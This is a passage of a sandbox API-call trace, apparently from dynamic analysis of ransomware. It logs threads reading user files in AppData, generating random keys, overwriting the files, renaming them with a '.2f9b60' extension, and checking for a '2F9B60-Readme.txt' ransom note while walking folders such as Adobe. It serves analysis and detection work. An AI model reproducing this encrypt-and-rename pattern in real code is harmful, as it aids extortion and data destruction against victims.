NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\782017a679f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x2050d160 [0104.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d160) returned 1 [0104.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd8c0) returned 1 [0104.525] NtQueryInformationFile (in: FileHandle=0x1770, IoStatusBlock=0x2de1f8f8, FileInformation=0x2de1f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2de1f8f8, FileInformation=0x2de1f908) returned 0x0 [0104.525] NtSetInformationFile (FileHandle=0x1770, IoStatusBlock=0x2de1f8f8, FileInformation=0x2de1f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a770) returned 1 [0104.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86eaa0) returned 1 [0104.527] FlushFileBuffers (hFile=0x1770) returned 1 [0104.804] CloseHandle (hObject=0x1770) returned 1 [0105.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4c80 [0105.005] wcscpy (in: _Dest=0x202a4c80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0105.005] wcscat (in: _Dest=0x202a4c80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0105.005] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0105.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4c80) returned 1 [0105.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 Thread: id = 920 os_tid = 0x1508 [0101.157] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9Cx 9xpX7VrOh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\9cx 9xpx7vroh.mkv")) returned 0x2020 [0101.158] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9Cx 9xpX7VrOh.mkv", dwFileAttributes=0x20) returned 1 [0103.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9Cx 9xpX7VrOh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\9cx 9xpx7vroh.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa80 [0103.461] GetFileSizeEx (in: hFile=0xa80, lpFileSize=0x2984f9c0 | out: lpFileSize=0x2984f9c0*=9382) returned 1 [0103.462] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x24a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.462] ReadFile (in: hFile=0xa80, lpBuffer=0x2984f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2984f988, lpOverlapped=0x0 | out: lpBuffer=0x2984f940*, lpNumberOfBytesRead=0x2984f988*=0x4, lpOverlapped=0x0) returned 1 [0103.463] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0103.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c90 [0103.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263440 [0103.463] NtQuerySystemTime (in: CurrentTime=0x2984f880 | out: CurrentTime=0x2984f880*=132462177089734000) returned 0x0 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x6f87312 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x6328f420 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x3912eb21 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x3bf19a50 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x4ba2631e [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x2a12f9d2 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x1656b0ea [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x2e0dcb67 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x98c2687 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x33058124 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x7cab7769 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x3ae17f7 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x169ce6fb [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x31b13be5 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x5fc511e2 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x3062d66 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x151d4afc [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x6cbfb343 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x3f0ba09 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x4590bc09 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x2b2cb0cd [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0xeab36a9 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x79fc2cfc [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x7f3202e0 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x1b457bd2 [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x3a83fedc [0103.463] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x57535777 [0103.464] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x2ced25cb [0103.464] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x60b89541 [0103.464] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x10d3d659 [0103.464] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x53d1791b [0103.464] RtlRandomEx (in: Seed=0x2984f870 | out: Seed=0x2984f870) returned 0x24dc6f94 [0103.471] ReadFile (in: hFile=0xa80, lpBuffer=0x2046c360, nNumberOfBytesToRead=0x24a6, lpNumberOfBytesRead=0x2984f870, lpOverlapped=0x0 | out: lpBuffer=0x2046c360*, lpNumberOfBytesRead=0x2984f870*=0x24a6, lpOverlapped=0x0) returned 1 [0103.471] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.471] WriteFile (in: hFile=0xa80, lpBuffer=0x20477790*, nNumberOfBytesToWrite=0x24a6, lpNumberOfBytesWritten=0x2984f874, lpOverlapped=0x0 | out: lpBuffer=0x20477790*, lpNumberOfBytesWritten=0x2984f874*=0x24a6, lpOverlapped=0x0) returned 1 [0103.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0103.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261610 [0103.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261610) returned 1 [0103.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20477790) returned 1 [0103.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046c360) returned 1 [0103.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0103.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0103.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f630 [0103.874] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.874] WriteFile (in: hFile=0xa80, lpBuffer=0x4205a530*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2984f990, lpOverlapped=0x0 | out: lpBuffer=0x4205a530*, lpNumberOfBytesWritten=0x2984f990*=0x114, lpOverlapped=0x0) returned 1 [0104.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0104.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0104.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260bc0 [0104.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260bc0) returned 1 [0104.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20260bc0 [0104.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0104.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fd0 [0104.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261fd0) returned 1 [0104.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0104.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0104.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1cd970d0 [0104.112] sprintf (in: _Dest=0x1cd970d0, _Format="%c%c" | out: _Dest="bd") returned 2 [0104.112] sprintf (in: _Dest=0x1cd970d2, _Format="%c%c" | out: _Dest="4f") returned 2 [0104.112] sprintf (in: _Dest=0x1cd970d4, _Format="%c%c" | out: _Dest="35") returned 2 [0104.112] sprintf (in: _Dest=0x1cd970d6, _Format="%c%c" | out: _Dest="20") returned 2 [0104.112] sprintf (in: _Dest=0x1cd970d8, _Format="%c%c" | out: _Dest="7d") returned 2 [0104.112] sprintf (in: _Dest=0x1cd970da, _Format="%c%c" | out: _Dest="f4") returned 2 [0104.112] sprintf (in: _Dest=0x1cd970dc, _Format="%c%c" | out: _Dest="2b") returned 2 [0104.112] sprintf (in: _Dest=0x1cd970de, _Format="%c%c" | out: _Dest="b0") returned 2 [0104.112] sprintf (in: _Dest=0x1cd970e0, _Format="%c%c" | out: _Dest="e5") returned 2 [0104.112] sprintf (in: _Dest=0x1cd970e2, _Format="%c%c" | out: _Dest="49") returned 2 [0104.112] sprintf (in: _Dest=0x1cd970e4, _Format="%c%c" | out: _Dest="53") returned 2 [0104.113] sprintf (in: _Dest=0x1cd970e6, _Format="%c%c" | out: _Dest="4c") returned 2 [0104.113] sprintf (in: _Dest=0x1cd970e8, _Format="%c%c" | out: _Dest="6f") returned 2 [0104.113] sprintf (in: _Dest=0x1cd970ea, _Format="%c%c" | out: _Dest="c0") returned 2 [0104.113] sprintf (in: _Dest=0x1cd970ec, _Format="%c%c" | out: _Dest="34") returned 2 [0104.113] sprintf (in: _Dest=0x1cd970ee, _Format="%c%c" | out: _Dest="fa") returned 2 [0104.113] sprintf (in: _Dest=0x1cd970f0, _Format="%c%c" | out: _Dest="5e") returned 2 [0104.113] sprintf (in: _Dest=0x1cd970f2, _Format="%c%c" | out: _Dest="9b") returned 2 [0104.113] sprintf (in: _Dest=0x1cd970f4, _Format="%c%c" | out: _Dest="97") returned 2 [0104.113] sprintf (in: _Dest=0x1cd970f6, _Format="%c%c" | out: _Dest="f2") returned 2 [0104.113] sprintf (in: _Dest=0x1cd970f8, _Format="%c%c" | out: _Dest="6e") returned 2 [0104.113] sprintf (in: _Dest=0x1cd970fa, _Format="%c%c" | out: _Dest="1f") returned 2 [0104.113] sprintf (in: _Dest=0x1cd970fc, _Format="%c%c" | out: _Dest="30") returned 2 [0104.113] sprintf (in: _Dest=0x1cd970fe, _Format="%c%c" | out: _Dest="23") returned 2 [0104.113] sprintf (in: _Dest=0x1cd97100, _Format="%c%c" | out: _Dest="9e") returned 2 [0104.113] sprintf (in: _Dest=0x1cd97102, _Format="%c%c" | out: _Dest="5d") returned 2 [0104.113] sprintf (in: _Dest=0x1cd97104, _Format="%c%c" | out: _Dest="07") returned 2 [0104.113] sprintf (in: _Dest=0x1cd97106, _Format="%c%c" | out: _Dest="c8") returned 2 [0104.113] sprintf (in: _Dest=0x1cd97108, _Format="%c%c" | out: _Dest="31") returned 2 [0104.113] sprintf (in: _Dest=0x1cd9710a, _Format="%c%c" | out: _Dest="38") returned 2 [0104.113] sprintf (in: _Dest=0x1cd9710c, _Format="%c%c" | out: _Dest="88") returned 2 [0104.113] sprintf (in: _Dest=0x1cd9710e, _Format="%c%c" | out: _Dest="f9") returned 2 [0104.113] sprintf (in: _Dest=0x1cd97110, _Format="%c%c" | out: _Dest="aa") returned 2 [0104.113] sprintf (in: _Dest=0x1cd97112, _Format="%c%c" | out: _Dest="f7") returned 2 [0104.114] RtlInitAnsiString (in: DestinationString=0x2984fa08, SourceString="bd4f35207df42bb0e549534c6fc034fa5e9b97f26e1f30239e5d07c8313888f9aaf7" | out: DestinationString="bd4f35207df42bb0e549534c6fc034fa5e9b97f26e1f30239e5d07c8313888f9aaf7") [0104.114] RtlAnsiStringToUnicodeString (in: DestinationString=0x2984f9d8, SourceString="bd4f35207df42bb0e549534c6fc034fa5e9b97f26e1f30239e5d07c8313888f9aaf7", AllocateDestinationString=1 | out: DestinationString="bd4f35207df42bb0e549534c6fc034fa5e9b97f26e1f30239e5d07c8313888f9aaf7") returned 0x0 [0104.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x202b0c90 [0104.114] wcscat (in: _Dest=0x202b1230, _Source="bd4f35207df42bb0e" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bd4f35207df42bb0e") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bd4f35207df42bb0e" [0104.114] wcscat (in: _Dest=0x202b1230, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bd4f35207df42bb0e.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bd4f35207df42bb0e.2f9b60" [0104.114] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bd4f35207df42bb0e.2f9b60", NtPathName=0x2984f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bd4f35207df42bb0e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278ef0 [0104.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278ef0) returned 1 [0104.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecdaf0) returned 1 [0104.528] NtQueryInformationFile (in: FileHandle=0xa80, IoStatusBlock=0x2984fa18, FileInformation=0x2984fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2984fa18, FileInformation=0x2984fa28) returned 0x0 [0104.528] NtSetInformationFile (FileHandle=0xa80, IoStatusBlock=0x2984fa18, FileInformation=0x2984fa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1230) returned 1 [0104.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0c90) returned 1 [0104.529] FlushFileBuffers (hFile=0xa80) returned 1 [0104.805] CloseHandle (hObject=0xa80) returned 1 [0105.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4c80 [0105.008] wcscpy (in: _Dest=0x202a4c80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0105.008] wcscat (in: _Dest=0x202a4c80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0105.008] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0105.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4c80) returned 1 [0105.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4920) returned 1 Thread: id = 921 os_tid = 0x150c [0101.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79e170 [0101.159] wcscpy (in: _Dest=0x1b79e170, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" [0101.159] wcscat (in: _Dest=0x1b79e170, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\" [0101.159] wcscat (in: _Dest=0x1b79e170, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*" [0101.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62a20 [0101.159] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86790 [0101.605] wcscmp (_String1=".", _String2=".") returned 0 [0101.605] FindNextFileW (in: hFindFile=0x1cd86790, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.605] wcscmp (_String1="..", _String2=".") returned 1 [0101.605] wcscmp (_String1="..", _String2="..") returned 0 [0101.605] FindNextFileW (in: hFindFile=0x1cd86790, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0101.605] wcscmp (_String1="Acrobat", _String2=".") returned 1 [0101.605] wcscmp (_String1="Acrobat", _String2="..") returned 1 [0101.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b869fc0 [0101.605] wcscpy (in: _Dest=0x1b869fc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" [0101.605] wcscat (in: _Dest=0x1b869fc0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\" [0101.605] wcscat (in: _Dest=0x1b869fc0, _Source="Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat" [0152.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b869fc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde0 [0152.391] FindNextFileW (in: hFindFile=0x1cd86790, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0152.391] wcscmp (_String1="Flash Player", _String2=".") returned 1 [0152.391] wcscmp (_String1="Flash Player", _String2="..") returned 1 [0152.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a5fa0 [0152.391] wcscpy (in: _Dest=0x202a5fa0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" [0152.391] wcscat (in: _Dest=0x202a5fa0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\" [0152.391] wcscat (in: _Dest=0x202a5fa0, _Source="Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player" [0152.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202a5fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1640 [0152.392] FindNextFileW (in: hFindFile=0x1cd86790, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0152.392] wcscmp (_String1="Headlights", _String2=".") returned 1 [0152.392] wcscmp (_String1="Headlights", _String2="..") returned 1 [0152.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202a58e0 [0152.392] wcscpy (in: _Dest=0x202a58e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" [0152.392] wcscat (in: _Dest=0x202a58e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\" [0152.392] wcscat (in: _Dest=0x202a58e0, _Source="Headlights" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights" [0152.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202a58e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d0 [0152.394] FindNextFileW (in: hFindFile=0x1cd86790, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0152.394] wcscmp (_String1="Linguistics", _String2=".") returned 1 [0152.394] wcscmp (_String1="Linguistics", _String2="..") returned 1 [0152.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a4a40 [0152.394] wcscpy (in: _Dest=0x202a4a40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" [0152.394] wcscat (in: _Dest=0x202a4a40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\" [0152.394] wcscat (in: _Dest=0x202a4a40, _Source="Linguistics" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics" [0152.394] CreateThread (in: lpThreadAttributes=0x0, 